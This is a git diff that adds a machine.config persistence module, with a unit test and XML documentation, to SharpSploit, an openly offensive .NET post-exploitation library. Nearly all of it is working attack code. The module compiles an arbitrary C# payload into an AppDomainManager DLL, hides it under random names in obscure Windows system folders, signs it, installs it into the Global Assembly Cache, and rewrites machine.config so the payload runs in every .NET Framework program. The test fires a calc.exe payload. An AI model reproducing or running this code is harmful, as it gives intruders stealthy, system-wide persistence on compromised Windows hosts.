diff --git a/SharpSploit.Tests/SharpSploit.Tests/Persistence/ConfigPersistTest.cs b/SharpSploit.Tests/SharpSploit.Tests/Persistence/ConfigPersistTest.cs new file mode 100644 index 0000000..5d1bbfd --- /dev/null +++ b/SharpSploit.Tests/SharpSploit.Tests/Persistence/ConfigPersistTest.cs @@ -0,0 +1,22 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: SharpSploit (https://github.com/cobbr/SharpSploit) +// License: BSD 3-Clause + +using Microsoft.VisualStudio.TestTools.UnitTesting; +using SharpSploit.Persistence; + +namespace SharpSploit.Framework.Tests.Persistence +{ + [TestClass] + public class ConfigPersistTest + { + [TestMethod] + public void TestInstallation() + { + var configPersist = new ConfigPersist(); + bool result = configPersist.InstallConfigPersist(@"System.Diagnostics.Process.Start(""calc.exe"")"); + + Assert.IsTrue(result); + } + } +} diff --git a/SharpSploit.Tests/SharpSploit.Tests/SharpSploit.Tests.csproj b/SharpSploit.Tests/SharpSploit.Tests/SharpSploit.Tests.csproj index 777ec7e..86763b0 100644 --- a/SharpSploit.Tests/SharpSploit.Tests/SharpSploit.Tests.csproj +++ b/SharpSploit.Tests/SharpSploit.Tests/SharpSploit.Tests.csproj @@ -70,6 +70,7 @@ + diff --git a/SharpSploit/Persistence/ConfigPersist.cs b/SharpSploit/Persistence/ConfigPersist.cs new file mode 100644 index 0000000..d218aaf --- /dev/null +++ b/SharpSploit/Persistence/ConfigPersist.cs @@ -0,0 +1,438 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: SharpSploit (https://github.com/cobbr/SharpSploit) +// License: BSD 3-Clause + +using System; +using System.CodeDom.Compiler; +using System.Xml; +using System.EnterpriseServices.Internal; +using System.Collections.Generic; +using System.IO; +using System.Security.Principal; +using System.ComponentModel; +using System.Runtime.InteropServices; +using System.Linq; + +namespace SharpSploit.Persistence +{ + + + /// + /// Class represents a Tuple since tuples do not exist until .NET Framework 4 😡 + /// https://stackoverflow.com/questions/4312218/error-with-tuple-in-c-sharp-2008 + /// + /// Item 1 + /// Item 2 + /// Item 3 + public class MyTuple + { + public T Item1 { get; private set; } + public U Item2 { get; private set; } + public V Item3 { get; private set; } + + public MyTuple(T item1, U item2, V item3) + { + Item1 = item1; + Item2 = item2; + Item3 = item3; + } + + } + + /// + /// Static class of Tuple + /// https://stackoverflow.com/questions/4312218/error-with-tuple-in-c-sharp-2008 + /// + public static class MyTuple + { + public static MyTuple Create(T item1, U item2, V item3) + { + return new MyTuple(item1, item2, item3); + } + } + + + /// + /// ConfigPersist is a class that performs CLR hooking via modifying machine.config. Requires elevation. + /// + public class ConfigPersist + { + + private static string CharObfuscation(string str) + { + string randomString = ""; + Random rnd = new Random(); + foreach (var letter in str) + { + int rand_num = rnd.Next(1, 3); + randomString += rand_num == 1 ? char.ToLower(letter) : char.ToUpper(letter); + } + return randomString; + } + + private static string Createstr() + { + var firstValid = Enumerable.Range(65, 26).ToList().Concat(Enumerable.Range(97, 26).ToList()); + var fiveRandom = firstValid.AsEnumerable().OrderBy(num => Guid.NewGuid()).Take(5); + string name = ""; + fiveRandom.ToList().ForEach(num => name += (char)num); + return name; + } + + private static bool IsAdminorSystem() + { + bool isSystem; + using (var identity = WindowsIdentity.GetCurrent()) + { + isSystem = identity.IsSystem; + } + + return isSystem || WindowsIdentity.GetCurrent().Owner.IsWellKnown(WellKnownSidType.BuiltinAdministratorsSid); + } + + /// + /// Determines if a directory is writable. + /// + /// Directory path. + /// Bool so if fails throw an error. + /// bool that indicates if directory is writable. + private static bool IsDirectoryWritable(string dirPath, bool throwIfFails = false) + { + // https://stackoverflow.com/questions/1410127/c-sharp-test-if-user-has-write-access-to-a-folder + // Sanity check to see if we can place our compiled dll in our special path + try + { + using (FileStream fs = File.Create( + Path.Combine( + dirPath, + Path.GetRandomFileName()), + 1, + FileOptions.DeleteOnClose)) + { + } + + return true; + } + catch + { + if (throwIfFails) + { + throw; + } + else + { + return false; + } + } + } + + /// + /// Determines where to place compiled assembly and keyfile given list of paths. + /// + /// Randomly selected path from path list. + private static string GetPath() + { + var winPath = "C:\\WINDOWS"; + var sys32 = $"{winPath}\\System32"; + + // Thank you to matterpreter for this list :) + List paths = new List + { + $"{sys32}\\microsoft\\crypto\rsa\\machinekeys", + $"{winPath}\\syswow64\\tasks\\microsft\\windows\\pla\\system", + $"{winPath}\\debug\\wia", + $"{sys32}\\tasks", + $"{winPath}\\syswow64\\tasks", + $"{winPath}\\registration\\crmlog", + $"{sys32}\\com\\dmp", + $"{sys32}\\fxstmp", + $"{sys32}\\spool\\drivers\\color", + $"{sys32}\\spool\\printers", + $"{sys32}\\spool\\servers", + $"{winPath}\\syswow64\\com\\dmp", + $"{winPath}\\syswow64\\fxstmp", + $"{winPath}\\temp", + $"{winPath}\\tracing", + }; + paths = paths.FindAll(path => Directory.Exists(path) && IsDirectoryWritable(path)); + + if (paths.Count == 0) + { + // Sanity check + // If for some reason every path fails we will just use our current directory + paths.Add(Environment.CurrentDirectory); + } + + var random = new Random(); + + // return random path where we will place our strong signed assembly + return paths[random.Next(paths.Count)]; + } + + /// + /// Loads our strong signed .net assembly into the GAC. + /// + /// Path to .net assembly. + private static bool InstallAssembly(string path) + { + try + { + var publisher = new Publish(); + publisher.GacInstall(path); + } + catch (Exception e) + { + Console.WriteLine($"An exception occurred while attempting to install .net assembly into GAC {e}"); + return false; + } + + return true; + } + + /// + /// Generates keyfile and places it in location from GetPath() + /// + /// + /// + private static string GenerateKeyFile(string fileName) + { + var path = fileName.Length == 0 ? $"{GetPath()}\\{CharObfuscation(Createstr())}.snk" : $"{GetPath()}\\{fileName}.snk"; + //var path = $"{Environment.CurrentDirectory}\\key.snk"; + try + { + StrongNameUtilities.GenerateKeyFile(path); + } + catch(Exception e) + { + Console.WriteLine($"Unable to generate keyfile: {e}"); + } + return path; + } + + /// + /// Compiles our strong signed assembly based on code in string and places dll in dllPath. + /// + /// Name of dll supplied by user, if one is not given will use randomly generated one + /// Path where assembly will be placed + /// C# code that will be ran whenver .net framework app is ran + /// Path to keyfile + /// Tuple containing path, assembly full name, and conext of assembly + private static MyTuple CompileDLL(string dllName, string dllPath, string payload, string keyPath) + { + // Feel free to change the name ConfigHooking or namespace + // Of course feel free to do more than just start calc :) + + var firstPart = @"using System; + namespace Context { + public sealed class ConfigHooking : AppDomainManager { + public override void InitializeNewDomain(AppDomainSetup appDomainInfo) {"; + + var secondpart = @"return;}}}"; + var malCSharp = firstPart + payload + secondpart; + + CodeDomProvider objCodeCompiler = CodeDomProvider.CreateProvider("CSharp"); + var name = dllName.Length == 0 ? CharObfuscation(Createstr()) : dllName; + + // Generate name for strong signed .net assembly, will be name in GAC + + CompilerParameters cp = new CompilerParameters(); + + // ADD reference assemblies here + cp.ReferencedAssemblies.Add("System.dll"); + cp.TreatWarningsAsErrors = false; + dllPath = $"{dllPath}\\{name}.dll"; + cp.OutputAssembly = dllPath; + cp.GenerateInMemory = false; + cp.CompilerOptions = "/optimize"; + + cp.CompilerOptions = $"/keyfile:{keyPath}"; + cp.IncludeDebugInformation = false; + CompilerResults cr = objCodeCompiler.CompileAssemblyFromSource(cp, malCSharp); + var types = cr.CompiledAssembly.GetExportedTypes(); + string context; + try + { + context = types[0].ToString(); + Console.WriteLine($"inside try context is: {context}"); + } + catch (Exception) + { + Console.WriteLine("types does not have length greater than 0"); + context = "null"; + } + + string asmFullName; + try + { + asmFullName = cr.CompiledAssembly.FullName; + } + catch (Exception e) + { + Console.WriteLine("An exception occurred while trying to get fullname, most likely due to missing keyfile!"); + Console.WriteLine(e); + asmFullName = $"{name}, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null"; + } + + if (cr.Errors.Count > 0) + { + Console.WriteLine("Build errors occurred"); + foreach (CompilerError ce in cr.Errors) + { + Console.WriteLine(ce); + } + return MyTuple.Create(string.Empty, string.Empty, string.Empty); + } + else + { + return MyTuple.Create(dllPath, asmFullName, context); + } + } + + /// + /// This is where the magic happens + /// This is the core function that modifies the machine config + /// It will modify it so at runtime our strong signed .net assembly will be called. + /// + /// Path to machine.config. + /// Full Name for Assembly. + /// + private static bool FixConfig(string configpath, string assemblyFullName, string context) + { + try + { + Console.WriteLine($"inside fixConfig and assemblyFullName: {assemblyFullName}"); + XmlDocument doc = new XmlDocument(); + doc.Load(configpath); + XmlNode node = doc.SelectSingleNode("/configuration/runtime"); + XmlElement ele = doc.CreateElement("appDomainManagerType"); + ele.SetAttribute("value", context ?? "Context.ConfigHooking"); + node.AppendChild(ele.Clone()); + XmlElement secondEle = doc.CreateElement("appDomainManagerAssembly"); + secondEle.SetAttribute("value", assemblyFullName); + node.AppendChild(secondEle.Clone()); + doc.Save(configpath); + } + catch (Exception e) + { + Console.WriteLine($"An exception has occurred while attempting to 'fix' config: {e}"); + return false; + } + + return true; + } + + /// + /// Generates a keyfile, creates assembly, signs assembly, and modifies machine.config runtime element to perform clr hooking + /// + /// NotoriousRebel + /// A boolean, if true execute was successful false otherwise + /// C# code that will be executed during runtime of any .net framework app + /// Optional name for assembly to be installed onto GAC + /// Optional paramater for keyfile name + public bool InstallConfigPersist(string payload, string dllName="", string keyfileName="") + { + try + { + if (!IsAdminorSystem()) + { + Console.WriteLine("Must be administrator for technique to work, exiting program!"); + return false; + } + + var dirPath = GetPath(); + Console.WriteLine($"path is: {dirPath}"); + var keyPath = GenerateKeyFile(keyfileName); + Console.WriteLine($"keyPath: {keyPath}"); + var tuple = CompileDLL(dllName, dirPath, payload, keyPath); + string dllPath = tuple.Item1; + string asmFullName = tuple.Item2; + string context = tuple.Item3; + Console.WriteLine($"dllPath is {dllPath}"); + Console.WriteLine($"asmFullName is: {asmFullName}"); + Console.WriteLine($"context is: {context}"); + bool loaded = InstallAssembly(dllPath); + if (loaded == false) + { + throw new Exception("Unable to install assembly into GAC"); + } + + Console.WriteLine($"Successfully added assembly to CLR: {asmFullName}"); + + var sysConfigFile = System.Runtime.InteropServices.RuntimeEnvironment.SystemConfigurationFile; + Console.WriteLine($"sysConfigFile: {sysConfigFile}"); + + var paths = new List() + { + sysConfigFile, + sysConfigFile.Contains("Framework64") ? sysConfigFile.Replace("Framework64", "Framework") : sysConfigFile.Replace("Framework", "Framework64"), + }; + + // Hours wasted debugging this because it returns 32 bit version of .NET Framework + foreach (var configPath in paths) + { + Console.WriteLine($" ConfigPath: {configPath}"); + FixConfig(configPath, asmFullName, context); + } + return true; + } + catch (Exception e) + { + Console.WriteLine($"An error has occurred: {e}"); + return false; + } + } + } + + /// + /// Class to generate strong key https://stackoverflow.com/questions/50632961/c-sharp-create-snk-file-programmatically + /// Required to sign our assembly so we can install it onto the Global Assembly Cache to gain full-trust + /// + public sealed class StrongNameUtilities + { + public static void GenerateKeyFile(string snkFile, int keySizeInBits = 4096) + { + if (snkFile == null) + throw new ArgumentNullException(nameof(snkFile)); + + var bytes = GenerateKey(keySizeInBits); + File.WriteAllBytes(snkFile, bytes); + } + + public static byte[] GenerateKey(int keySizeInBits = 4096) + { + if (!StrongNameKeyGenEx(null, 0, keySizeInBits, out var blob, out var size)) + throw new Win32Exception(StrongNameErrorInfo()); + + try + { + var bytes = new byte[size]; + Marshal.Copy(blob, bytes, 0, size); + return bytes; + } + finally + { + if (blob != IntPtr.Zero) + { + StrongNameFreeBuffer(blob); + } + } + } + + [DllImport("mscoree")] + private extern static void StrongNameFreeBuffer(IntPtr pbMemory); + + [DllImport("mscoree", CharSet = CharSet.Unicode)] + private static extern bool StrongNameGetPublicKey( + string szKeyContainer, + [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 2)] byte[] pbKeyBlob, + int cbKeyBlob, + out IntPtr ppbPublicKeyBlob, + out int pcbPublicKeyBlob); + + [DllImport("mscoree", CharSet = CharSet.Unicode)] + private static extern bool StrongNameKeyGenEx(string wszKeyContainer, int dwFlags, int dwKeySize, out IntPtr ppbKeyBlob, out int pcbKeyBlob); + + [DllImport("mscoree")] + private static extern int StrongNameErrorInfo(); + } +} diff --git a/SharpSploit/References/net35/System.EnterpriseServices.Wrapper.dll b/SharpSploit/References/net35/System.EnterpriseServices.Wrapper.dll new file mode 100644 index 0000000..502de74 Binary files /dev/null and b/SharpSploit/References/net35/System.EnterpriseServices.Wrapper.dll differ diff --git a/SharpSploit/References/net35/System.EnterpriseServices.dll b/SharpSploit/References/net35/System.EnterpriseServices.dll new file mode 100644 index 0000000..f9dd8ca Binary files /dev/null and b/SharpSploit/References/net35/System.EnterpriseServices.dll differ diff --git a/SharpSploit/References/net40/System.EnterpriseServices.dll b/SharpSploit/References/net40/System.EnterpriseServices.dll new file mode 100644 index 0000000..d411d4d Binary files /dev/null and b/SharpSploit/References/net40/System.EnterpriseServices.dll differ diff --git a/SharpSploit/SharpSploit.csproj b/SharpSploit/SharpSploit.csproj index 7afb94f..1d514dd 100644 --- a/SharpSploit/SharpSploit.csproj +++ b/SharpSploit/SharpSploit.csproj @@ -29,6 +29,7 @@ + diff --git a/SharpSploit/SharpSploit.xml b/SharpSploit/SharpSploit.xml index aa42b0d..f5b923c 100644 --- a/SharpSploit/SharpSploit.xml +++ b/SharpSploit/SharpSploit.xml @@ -2268,6 +2268,89 @@ Missing CLSID to abuse. Path to the executable payload. + + + Class represents a Tuple since tuples do not exist until .NET Framework 4 😡 + https://stackoverflow.com/questions/4312218/error-with-tuple-in-c-sharp-2008 + + Item 1 + Item 2 + Item 3 + + + + Static class of Tuple + https://stackoverflow.com/questions/4312218/error-with-tuple-in-c-sharp-2008 + + + + + ConfigPersist is a class that performs CLR hooking via modifying machine.config. Requires elevation. + + + + + Determines if a directory is writable. + + Directory path. + Bool so if fails throw an error. + bool that indicates if directory is writable. + + + + Determines where to place compiled assembly and keyfile given list of paths. + + Randomly selected path from path list. + + + + Loads our strong signed .net assembly into the GAC. + + Path to .net assembly. + + + + Generates keyfile and places it in location from GetPath() + + + + + + + Compiles our strong signed assembly based on code in string and places dll in dllPath. + + Name of dll supplied by user, if one is not given will use randomly generated one + Path where assembly will be placed + C# code that will be ran whenver .net framework app is ran + Path to keyfile + Tuple containing path, assembly full name, and conext of assembly + + + + This is where the magic happens + This is the core function that modifies the machine config + It will modify it so at runtime our strong signed .net assembly will be called. + + Path to machine.config. + Full Name for Assembly. + + + + + Generates a keyfile, creates assembly, signs assembly, and modifies machine.config runtime element to perform clr hooking + + NotoriousRebel + A boolean, if true execute was successful false otherwise + C# code that will be executed during runtime of any .net framework app + Optional name for assembly to be installed onto GAC + Optional paramater for keyfile name + + + + Class to generate strong key https://stackoverflow.com/questions/50632961/c-sharp-create-snk-file-programmatically + Required to sign our assembly so we can install it onto the Global Assembly Cache to gain full-trust + + Startup is a class for abusing the Windows Startup folder to establish peristence.